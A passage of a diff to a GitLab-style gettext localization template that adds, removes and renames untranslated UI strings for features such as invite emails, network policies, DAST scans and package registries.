msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -13045,6 +13372,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13111,6 +13441,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13126,7 +13459,7 @@ msgstr[2] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13153,6 +13486,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13165,13 +13504,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13201,7 +13537,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13213,9 +13549,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13312,6 +13654,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13351,6 +13726,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13450,9 +13828,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13594,6 +13969,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13636,6 +14014,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13651,6 +14032,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13939,7 +14323,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14170,7 +14554,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14275,10 +14659,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14305,6 +14689,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14368,9 +14755,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14386,9 +14770,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14443,6 +14824,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14464,6 +14848,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14515,7 +14902,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14566,6 +14953,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14581,6 +14974,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14665,9 +15061,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14779,9 +15172,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14917,6 +15307,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14926,9 +15325,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14956,15 +15352,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14980,6 +15376,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -15043,6 +15442,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15175,6 +15595,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15277,6 +15703,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15286,9 +15718,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15322,9 +15751,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15337,9 +15772,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15367,6 +15799,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15391,6 +15826,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15469,6 +15907,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15520,12 +15961,18 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15691,6 +16138,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15736,6 +16192,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15925,12 +16384,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15940,6 +16432,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15952,6 +16447,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15970,12 +16468,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16000,9 +16504,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -16015,9 +16525,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16411,12 +16966,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16504,18 +17065,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16663,9 +17218,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16705,9 +17257,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16750,21 +17299,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16774,25 +17329,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16852,9 +17413,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16873,6 +17431,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16888,9 +17449,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -17011,18 +17578,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17056,9 +17617,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17143,6 +17701,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17158,6 +17722,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17176,9 +17743,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17215,27 +17779,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17284,13 +17839,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17434,7 +17995,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17938,6 +18499,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -18091,13 +18655,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -18109,6 +18673,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18400,15 +18967,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18799,6 +19360,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18823,6 +19387,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19414,7 +19981,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19423,10 +19990,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19486,6 +20062,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19540,6 +20119,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19621,6 +20203,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19951,9 +20536,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -20050,6 +20632,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20143,6 +20728,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20185,6 +20773,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20254,9 +20845,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20290,9 +20878,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20305,12 +20890,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20359,15 +20938,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20551,9 +21124,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20743,9 +21313,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20926,6 +21502,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
